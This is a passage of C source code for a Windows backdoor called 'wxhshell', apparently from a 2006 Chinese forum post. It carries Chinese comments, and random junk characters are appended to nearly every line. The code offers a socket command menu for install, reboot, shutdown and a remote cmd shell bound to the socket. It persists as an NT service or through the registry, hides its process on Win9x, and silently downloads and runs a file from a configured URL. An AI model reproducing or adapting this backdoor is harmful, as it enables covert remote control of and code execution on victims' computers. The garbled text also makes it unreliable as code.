      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]dU/;8/%  
    break; uk<JV*R=  
  } _I<LB0kgf.  
  // 安装 Ef"M e(  
  case 'i': { /s|4aro  
    if(Install()) LR:meCOI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Z%|H>+;T  
    else tjWf`#tH>H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uf`~0=w  
    break; 4cQ|"sOzD  
    } rI;84=v2&9  
  // 卸载 %7 [ Z/U=  
  case 'r': { d'UCPg<Y  
    if(Uninstall()) Cj3C%W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >sl#2,br  
    else -+,3aK<[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jd-u ?  
    break; \ QE?.Fx  
    } :@c\a99Kx  
  // 显示 wxhshell 所在路径 *L+)R*|:&  
  case 'p': {  WgayH  
    char svExeFile[MAX_PATH]; xwe^_7  
    strcpy(svExeFile,"\n\r"); b.lK0 Xo  
      strcat(svExeFile,ExeFile); tv\_& ({  
        send(wsh,svExeFile,strlen(svExeFile),0); KL^hYjC  
    break; U{|WN7Q:A  
    } o^*k   
  // 重启 qrt2BT)  
  case 'b': { "inXHxqu/J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :+Okv$v4  
    if(Boot(REBOOT)) Fo$'*(i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '@3Kq\/  
    else { 2nkUvb%=  
    closesocket(wsh); k*$[V17  
    ExitThread(0); qpZR-O  
    } 9TZ4ffXV*  
    break; ,#blY~h8^  
    } ffgb 3  
  // 关机 l/:23\  
  case 'd': { Ow f:Kife  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $5v:z   
    if(Boot(SHUTDOWN)) rc()Eo50  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IuN:*P  
    else { "4[8pZO/  
    closesocket(wsh); i-E/#zni  
    ExitThread(0); FAbl5VW'  
    } :W*']8 M-  
    break; R0DWjN$j  
    } 'A)r)z {X  
  // 获取shell #}|g8gh  
  case 's': { Xn3 \a81  
    CmdShell(wsh); x !^u$5c  
    closesocket(wsh); CTh!|mG  
    ExitThread(0); ReZ&SNJ  
    break; ZgH(,g,TU  
  } RM `zxFn  
  // 退出 dVe  
  case 'x': { r.#"he_6!.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _+NM<o#A  
    CloseIt(wsh); YfZ96C[a  
    break; f>kW\uC  
    } EI!e0 V1!  
  // 离开 f.Feo  
  case 'q': { 8-uRn38  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y>i5ubR~  
    closesocket(wsh); 6>R|B?I%  
    WSACleanup(); 9aKt (g6  
    exit(1); c2fqueK|:W  
    break; e A'1  
        } f'Cx %  
  } b@  S.  
  } @teNT"  
G.y~*5?#  
  // 提示信息 o'auCa,N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )"4v0dv  
} *p=a-s5-  
  } 2Pz)vnV"  
NU{`eM  
  return; REc+@;B  
} A$;"9F@  
%IhUQ6  
// shell模块句柄 *!- J"h  
int CmdShell(SOCKET sock) 9W+RUh^W  
{ F* h\#?  
STARTUPINFO si; 9?L,DThQ  
ZeroMemory(&si,sizeof(si)); 9Atnnx]n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AttS?TZr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /@`kM'1:  
PROCESS_INFORMATION ProcessInfo; sBV})8]K M  
char cmdline[]="cmd"; Z @d(0 z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B>Xfs ZS  
  return 0; Ir\f _>7  
} RhQ[hI  
P{ HYZg  
// 自身启动模式 [zMnlO  
int StartFromService(void) 1SO!a R#g  
{ <-rw>,  
typedef struct #yi&-9B  
{ Eu)(@,]we  
  DWORD ExitStatus; 3rh@|fg)E  
  DWORD PebBaseAddress; b<1+q{0r  
  DWORD AffinityMask; IyJHKDFk  
  DWORD BasePriority; nlsif  
  ULONG UniqueProcessId; ~]LkQQ'  
  ULONG InheritedFromUniqueProcessId; 8\])p sb9  
}   PROCESS_BASIC_INFORMATION; 6tKCY(#oO+  
>jH%n(TcC  
PROCNTQSIP NtQueryInformationProcess; h-+GS%  
?Ja&LNI9S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E Zh.*u@^r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #BLmT-cl  
`+?g96   
  HANDLE             hProcess; G}8Zkz@+  
  PROCESS_BASIC_INFORMATION pbi; ~P;KO40K  
P<s 0f:".  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zvAUF8'_  
  if(NULL == hInst ) return 0; 6X`i*T$.  
5zk^zn)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H4{CiZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Li8$Rb~q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &K@ RTgb  
mNDz|Ln  
  if (!NtQueryInformationProcess) return 0; Ap)[;_9BD  
f9FEH7S68  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fh0cOp(  
  if(!hProcess) return 0; waRK$/b (  
^Pp2T   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S%{^@L+V  
|ryV7VJ8  
  CloseHandle(hProcess); &upM,Jsr*  
c4i%9E+Af  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s.qo/o\b  
if(hProcess==NULL) return 0; W _JGJV.^f  
_ 0g\g~[  
HMODULE hMod; yuA+YZ  
char procName[255]; TcEvUZJ"  
unsigned long cbNeeded; P|' eM%  
y Nc"E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 14Y<-OO: k  
@B#\3WNt  
  CloseHandle(hProcess); s. ]<r5v7  
n4%ZR~9WH  
if(strstr(procName,"services")) return 1; // 以服务启动 (Xv' Te?  
4SDUTRo a  
  return 0; // 注册表启动 S;L=W9=wby  
} bpp{Z1/4  
_`-trE.  
// 主模块 ckhU@C|=*  
int StartWxhshell(LPSTR lpCmdLine) E 8LA+dKN:  
{ jqv"8S5  
  SOCKET wsl; CaE1h9  
BOOL val=TRUE; RJhafUJ zH  
  int port=0; OPe3p {]  
  struct sockaddr_in door; )oAxt70  
:)=>,XwL8  
  if(wscfg.ws_autoins) Install(); R;l;;dC=  
l\t\DX"s_  
port=atoi(lpCmdLine); -'%>Fon  
YDxEWK<  
if(port<=0) port=wscfg.ws_port; 1r?hRJ:'  
0+dc  
  WSADATA data; lC8Z@wkjO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?_V&~?r   
]o+5$L,5b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G~ mLc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ($or@lfs  
  door.sin_family = AF_INET; Vl\8*!OL%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M%(^GdI#Vf  
  door.sin_port = htons(port); #ExNiFZ  
xP+`scv*m#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *l{GD1ZDk  
closesocket(wsl); }p|S3/G?$!  
return 1; #X t|"Z  
} kH'zTO1  
}N,$4h9Dj  
  if(listen(wsl,2) == INVALID_SOCKET) { +, |aIF  
closesocket(wsl); K{ED mC  
return 1; V]Z!x.x"=y  
} ``:+*4e9  
  Wxhshell(wsl); A}3dx!?7j  
  WSACleanup(); l' mdj!{&  
`p'682xI  
return 0; +S6(Fvp  
"zZ Z h  
} bGtS! 'I  
6Q*Zy[=  
// 以NT服务方式启动 *YO^+]nmY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sD ,=_q@  
{ -\[H>)z]RB  
DWORD   status = 0; QCAoL.v  
  DWORD   specificError = 0xfffffff; e%_J O7  
OaeX:r+&Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AEd]nVV Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *hvC0U@3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F?+\J =LT  
  serviceStatus.dwWin32ExitCode     = 0; i@m@]-2  
  serviceStatus.dwServiceSpecificExitCode = 0; H ]z83:Z  
  serviceStatus.dwCheckPoint       = 0; 7z;X@+O}s  
  serviceStatus.dwWaitHint       = 0; 3ZUME\U  
q,m+W='  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lx\9Y8  
  if (hServiceStatusHandle==0) return; =JNCQu  
LE}V{%)xD  
status = GetLastError(); ko{7^]gR  
  if (status!=NO_ERROR) U[EZ, 7n8  
{ ^V7'S<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c:I %jm  
    serviceStatus.dwCheckPoint       = 0; 1Eh6ti  
    serviceStatus.dwWaitHint       = 0; {&ykpu090  
    serviceStatus.dwWin32ExitCode     = status; \@B 'f  
    serviceStatus.dwServiceSpecificExitCode = specificError; G_]zymXQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o]M1$)>b +  
    return; U!i1~)s  
  } ]_(J8v  
uL{CUt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x/dyb.  
  serviceStatus.dwCheckPoint       = 0; eXQLE]L]  
  serviceStatus.dwWaitHint       = 0; |i\%> Y,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + l hJ8&  
} Mz6PH)e;  
`Kbf]"4q  
// 处理NT服务事件,比如:启动、停止 ey@ccc*sZ9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6,cJ3~!48  
{ cDIZkni=  
switch(fdwControl) %#x l+^  
{ U8zCV*ag  
case SERVICE_CONTROL_STOP: Ge7Uety  
  serviceStatus.dwWin32ExitCode = 0; Nsn~mY%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cq0-D d9^&  
  serviceStatus.dwCheckPoint   = 0; ryNe=9p  
  serviceStatus.dwWaitHint     = 0; w ZfY~  
  { q ;"/i*+3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7epil  
  } ^Na3VP  
  return; 3Fw7q"  
case SERVICE_CONTROL_PAUSE: :cvT/xhO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G=/^]E  
  break; #y-R*4G  
case SERVICE_CONTROL_CONTINUE: Du #>y!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cto>~pV  
  break; +rJDDIb  
case SERVICE_CONTROL_INTERROGATE: :s*t\09V7  
  break; K7R!E,oPg  
}; 2m^qXE$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eLIZ<zzW0}  
} 2<9&OL  
Z!-V&H.  
// 标准应用程序主函数 lK_T%1Gz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,bzC| AK  
{ IIN,Da;hD  
,_ TE@ ]!$  
// 获取操作系统版本 6 2#@Y-5  
OsIsNt=GetOsVer(); Gz52^O :  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f0879(,i  
U(gYx@   
  // 从命令行安装 (&SPMhs_|(  
  if(strpbrk(lpCmdLine,"iI")) Install(); RzU9]e  
: { iK 5  
  // 下载执行文件 zZ,"HY=jN  
if(wscfg.ws_downexe) { ++n_$Qug  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0avtfQ +f  
  WinExec(wscfg.ws_filenam,SW_HIDE); w75Ro6y  
} 10Q!-K),p  
uFA}w:Fm  
if(!OsIsNt) { V?)YQ B  
// 如果时win9x,隐藏进程并且设置为注册表启动 eX1_=?$1P  
HideProc(); +|Izjx]ZV  
StartWxhshell(lpCmdLine); `A9fanh  
} %(|-+cLW+  
else 8DX5bB  
  if(StartFromService()) 7 0PGbAD  
  // 以服务方式启动 m>|7&l_  
  StartServiceCtrlDispatcher(DispatchTable); k[)/,1  
else d3\KUR^  
  // 普通方式启动 BiDyr  
  StartWxhshell(lpCmdLine); |ZC'a!  
O`$\P lt|v  
return 0; +koW3>  
}
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只看该作者 1 发表于: 2006-10-10
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